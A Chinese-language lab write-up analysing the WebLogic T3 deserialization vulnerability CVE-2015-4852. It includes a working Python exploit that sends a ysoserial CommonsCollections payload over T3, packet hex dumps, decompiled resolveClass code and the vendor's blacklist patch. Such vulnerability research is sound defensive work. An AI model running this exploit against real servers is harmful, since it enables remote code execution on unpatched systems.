

# 环境搭建


环境搭建使用A-team 的weblogic漏洞环境项目 <https://github.com/QAX-A-Team/WeblogicEnvironment>

关于weblogic的介绍还是建议看一下Ateam大哥的文章:


[https://mp.weixin.qq.com/s?\\_\\_biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704)

里面的介绍还是挺详细的,远程调试则将文件导到物理机。然后导入idea

```
docker cp
weblogic1036jdk7u21:/u01/app/oracle/middleware/modules
./wlserver1036
docker cp
weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/se
rver/lib ./wlserver1036
docker cp
weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3
.7/lib ./coherence_3.7/lib
```



远程调试配置:



然后在虚拟机中运行exp,并在

`weblogic.rjvm.InboundMsgAbbrev#readObject` 中打断点,成功debug

```
import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE,
                              gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET,
                          socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3
12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
```

```

data = sock.recv(1024)
pattern = re.compile(r"HELLO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
    print("Not Weblogic")
    return

print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度, 先
占位, 后面会根据实际情况重新

t3header =
binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea600
00000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027
973720078720178720278700000000a000000030000000000000006007
0707070700000000a000000030000000000000006007006") #t3协
议头

flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) +
payload[4:] #重新计算数据包长度
sock.send(payload)

if __name__ == "__main__":
    host = "127.0.0.1"
    port = 7001
    gadget = "CommonsCollections7" #CommonsCollections1
    Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

```

这里我更改了host之后并没有在物理机上运行,不知道是什么原因。

# T3协议分析

运行exp,使用wireshark抓包，设置过滤规则 `tcp.port == 7001` ,追踪tcp流



可以看到上面先发送了我们的T3试探包,然后服务端返回了一些版本信息。

接下上来就是我们的数据包

```
b7 66 bc e2 00 00 05 78 01 65 01 ff ff ff ff ff .f...x.e.....
ff ff ff 00 00 00 69 00 00 ea 60 00 00 00 18 4e .....i...N
1c ac 5d 00 db ae 7b 5f b5 f0 4d 7a 16 78 d3 b7 ...]...{...Mz.x...
d1 4d 11 bf 13 6d 67 02 79 73 72 00 78 72 01 78 .M...mg.ysr.xr.x
72 02 78 70 00 00 00 0a 00 00 00 03 00 00 00 00 r.xp...
00 00 00 06 00 70 70 70 70 70 70 00 00 00 0a 00 ....ppp ppp....
00 00 03 00 00 00 00 00 00 00 06 00 70 06 fe 01 .....p...
00 00 ac ed 00 05 73 72 00 13 6a 61 76 61 2e 75 .....sr..java.u
74 69 6c 2e 48 61 73 68 74 61 62 6c 65 13 bb 0f til.Hash table...
25 21 4a e4 b8 03 00 02 46 00 0a 6c 6f 61 64 46 %!J.....F..loadF
61 63 74 6f 72 49 00 09 74 68 72 65 73 68 6f 6c actorI.. threshol
64 78 70 3f 40 00 00 00 00 00 08 77 08 00 00 00 dxp?@... .w....
0b 00 00 00 02 73 72 00 2a 6f 72 67 2e 61 70 61 ....sr..*org.apa
63 68 65 2e 63 6f 6d 6d 6f 6e 73 2e 63 6f 6c 6c che.comm ons.coll
65 63 74 69 6f 6e 73 2e 6d 61 70 2e 4c 61 7a 79 ections. map.Lazy
4d 61 70 6e e5 94 82 9e 79 10 94 03 00 01 4c 00 Mapn... y.....L.
07 66 61 63 74 6f 72 79 74 00 2c 4c 6f 72 67 2f .factory t.,Lorg/
61 70 61 63 68 65 2f 63 6f 6d 6d 6f 6e 73 2f 63 apache/c ommons/c
6f 6c 6c 65 63 74 69 6f 6e 73 2f 54 72 61 6e 73 ollectio ns/Trans
66 6f 72 6d 65 72 3b 78 70 73 72 00 3a 6f 72 67 former;x psr.:org
2e 61 70 61 63 68 65 2e 63 6f 6d 6d 6f 6e 73 2e .apache. commons.
63 6f 6c 6c 65 63 74 69 6f 6e 73 2e 66 75 6e 63 collecti ons.func
74 6f 72 73 2e 43 68 61 69 6e 65 64 54 72 61 6e tors.Cha inedTran
73 66 6f 72 6d 65 72 30 c7 97 ec 28 7a 97 04 02 sformer0 ...(z...
00 01 5b 00 0d 69 54 72 61 6e 73 66 6f 72 6d 65 ..[...iTr ansforme
72 73 74 00 2d 5b 4c 6f 72 67 2f 61 70 61 63 68 rst.-[Lo rg/apach
65 2f 63 6f 6d 6d 6f 6e 73 2f 63 6f 6c 6c 65 63 e/common s/collec
74 69 6f 6e 73 2f 54 72 61 6e 73 66 6f 72 6d 65 tions/Tr ansforme
72 3b 78 70 75 72 00 2d 5b 4c 6f 72 67 2e 61 70 r;xpur.- [Lorg.ap
```

主要有以下几个部分组成：



在反序列化数据包中，`ac ed 00 05` 是反序列化标志，在 T3 协议中由于每个反序列化数据包前面都有 `fe 01 00 00`，所以这里的标志相当于就是 `fe 01 00 00 ac ed 00 05`

ac 11 00 02 00 28 e4 00 00 01 01 08 0a 6e 83 aa c6  
80 18 02 00 28 e4 00 00 01 01 08 0a 6e 83 aa c6  
b7 66 bc e2 00 00 05 78 01 65 01 ff ff ff ff  
ff ff ff 00 00 00 69 00 00 ea 60 00 00 00 18 4e  
1c ac 5d 00 db ae 7b 5f b5 f0 4d 7a 16 78 d3 b7  
d1 4d 11 bf 13 6d 67 02 79 73 72 00 78 72 01 78  
72 02 78 70 00 00 00 0a 00 00 00 03 00 00 00 00  
00 00 00 06 00 70 70 70 70 70 70 00 00 00 0a 00  
00 00 03 00 00 00 00 00 00 00 06 00 70 06 fe 01  
00 00 ac ed 00 05 73 72 00 13 6a 61 76 61 2e 75  
74 69 6c 2e 48 61 73 68 74 61 62 6c 65 13 bb 0f  
25 21 4a e4 b8 03 00 02 46 00 0a 6c 6f 61 64 46  
61 63 74 6f 72 49 00 09 74 68 72 65 73 68 6f 6c  
64 78 70 3f 40 00 00 00 00 00 08 77 08 00 00 00  
0b 00 00 00 02 73 72 00 2a 6f 72 67 2e 61 70 61  
63 68 65 2e 63 6f 6d 6d 6f 6e 73 2e 63 6f 6c 6c  
65 63 74 69 6f 6e 73 2e 6d 61 70 2e 4c 61 7a 79  
4d 61 70 6e e5 94 82 9e 79 10 94 03 00 01 4c 00  
07 66 61 63 74 6f 72 79 74 00 2c 4c 6f 72 67 2f  
61 70 61 63 68 65 2f 63 6f 6d 6d 6f 6e 73 2f 63  
6f 6c 6c 65 63 74 69 6f 6e 73 2f 54 72 61 6e 73  
66 6f 72 6d 65 72 3b 78 70 73 72 00 3a 6f 72 67  
2e 61 70 61 63 68 65 2e 63 6f 6d 6d 6f 6e 73 2e  
63 6f 6c 6c 65 63 74 69 6f 6e 73 2e 66 75 6e 63  
74 6f 72 73 2e 43 68 61 69 6e 65 64 54 72 61 6e  
73 66 6f 72 6d 65 72 30 c7 97 ec 28 7a 97 04 02  
00 01 5b 00 0d 69 54 72 61 6e 73 66 6f 72 6d 65  
72 73 74 00 2d 5b 4c 6f 72 67 2f 61 70 61 63 68  
65 2f 63 6f 6d 6d 6f 6e 73 2f 63 6f 6c 6c 65 63  
74 69 6f 6e 73 2f 54 72 61 6e 73 66 6f 72 6d 65  
72 3b 78 70 75 72 00 2d 5b 4c 6f 72 67 2e 61 70

数据包长度  
T3协议头  
反序列化标志

.....1....  
(.....e.....  
.....i..`....N  
..]...{..Mz.x..  
..M...mg.ysr.xr.x  
r.xp.....  
...ppp.ppp..  
.....反序列化标志  
.....sr..java.u  
til.Hash table...  
%!J.....F..loadF  
actorI..threshol  
dpx?@...[.w....  
.....sr.\*org.apa  
che.commons.coll  
ections.map.Lazy  
Mapn....y.....L.  
..factoryt.,Lorg/  
apache/commons/c  
ollectio ns/Trans  
former;xpsr:org  
.apache.commons.  
collecti ons.func  
tors.Cha inedTran  
sformer0...(z...  
..[...iTr ansforme  
rst..[Lo rg/apach  
e/common s/collec  
tions/Tr ansforme  
r;xpur..[Lorg.ap


再来看看我们的payload就能理解是如何构造的了

# 漏洞分析

这是一张weblogic反序列化的流程图

T3协议接收过来的数据会在

`weblogic.rjvm.InboundMsgAbbrev#readObject` 这里进行反序列化操作。



看到断点的位置，里面调用了

`InboundMsgAbbrev.ServerChannelInputStream#readObject` 方法

```
InboundMsgAbbrev > readObject()
class 文件, bytecode version: 49.0 (Java 5)

private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException { var1: "
    int var2 = var1.read(); var1: "weblogic.rjvm.MsgAbbrevInputStream - -1 from: 'null', user: 'null', tx
    switch(var2) {
        case 0:
            return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject();
        case 1:
            return var1.readASCII();
        default:
```

可以看到该方法继承于`ObjectInputStream`方法,而且重写了`resolveClass`方法



```
InboundMsgAbbrev > ServerChannelInputStream > resolveClass()
class 文件, bytecode version: 49.0 (Java 5) 选择源...(S)

private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
    private final ServerChannel serverChannel;

    private ServerChannelInputStream(MsgAbbrevInputStream var1) throws IOException {
        super(var1);
        this.serverChannel = var1.getServerChannel();
    }

    public ServerChannel getServerChannel() { return this.serverChannel; }

    protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException { var1: null
        Class var2 = super.resolveClass(var1); var1: null
        if (var2 == null) {
            throw new ClassNotFoundException("super.resolveClass returns null.");
        } else {
            ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);
            if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {
                throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersion
            } else {

```

而这个resolveClass方法的作用是将类的序列化描述符加工成该类的class对象(通过下图的forName方法)。在shiro中就因为重写了 resolveClass 方法,导致我们的payload中无法使用 Transformer数组

```
protected Class<?> resolveClass(ObjectStreamClass desc)
    throws IOException, ClassNotFoundException
{
    String name = desc.getName();
    try {
        return Class.forName(name, initialize: false, latestUserDefinedLoader());
    } catch (ClassNotFoundException ex) {
        Class<?> c1 = primClasses.get(name);
        if (c1 != null) {
            return c1;
        } else {

```

因为这里分析的是第一款T3漏洞,所以这里并没有在resolveClass方法中进行任何防护,而在后面的weblogic补丁中,会基于这个 resolveClass 去做反序列化漏洞的防御



## CVE-2015-4852修复

借用一下李三师傅的图



这里增加了一个黑名单判断

```
final class InboundMsgAbbrev {
    private static final boolean DEBUG = false;

    private final Stack abbrevs = new Stack();

    void read(MsgAbbrevInputStream in, BubblingAbbreviator at) throws IOException, ClassNotFoundException {

        private Object readObject(MsgAbbrevInputStream in) throws IOException, ClassNotFoundException {
            int typecode = in.read();
            switch (typecode) {
                case 1:
                    return in.readASCII();
                case 0:
                    return (new ServerChannelInputStream(in)).readObject();
            }
            throw new StreamCorruptedException("Unknown typecode: " + typecode + "");
        }

        void reset() {

        void writeTo(MsgAbbrevOutputStream out) throws IOException {

        Object getAbbrev() {

        public String toString() {

        private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
            private final ServerChannel serverChannel;

            private ServerChannelInputStream(MsgAbbrevInputStream in) throws IOException {
                super((InputStream)in);
                this.serverChannel = in.getServerChannel();
            }

            public ServerChannel getServerChannel() {
                return this.serverChannel;
            }

            protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
                String className = descriptor.getName();
                if (className != null && className.length() > 0 && ClassFilter.isBlacklisted(className))
                    throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
                Class c = super.resolveClass(descriptor);
                if (c == null)
                    throw new ClassNotFoundException("super.resolveClass returns null.");
                ObjectStreamClass localDesc = ObjectStreamClass.lookup(c);
                if (localDesc != null && localDesc.getSerialVersionUID() != descriptor.getSerialVersionUID())
                    throw new ClassNotFoundException("different serialVersionUID. local: " + localDesc.getSerialVersionUID() + " remote: " + descriptor.getSerialVersionUID());
                return c;
            }
        }
    }
}
```

```
package weblogic.utils;

import java.util.HashSet;
import java.util.StringTokenizer;

public abstract class ClassFilter {
    static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";

    static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.rmi.disabledefaultblacklist";

    static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.disableblacklist";

    private static final String DEFAULT_BLACK_LIST = "+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure";

    private static final HashSet<String> BLACK_LIST = new HashSet<String>();

    static {
        if (!isBlackListDisabled()) {
            if (!isDefaultBlacklistEntriesDisabled())
                updateBlackList("+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure");
            updateBlackList(System.getProperty("weblogic.rmi.blacklist", null));
        }
    }
}
```

参考

[https://mp.weixin.qq.com/s?\\_\\_biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704)

<https://github.com/QAX-A-Team/WeblogicEnvironment>

<https://www.cnblogs.com/nice0e3/p/14201884.html>

<http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/#%E5%8F%82%E8%80%83>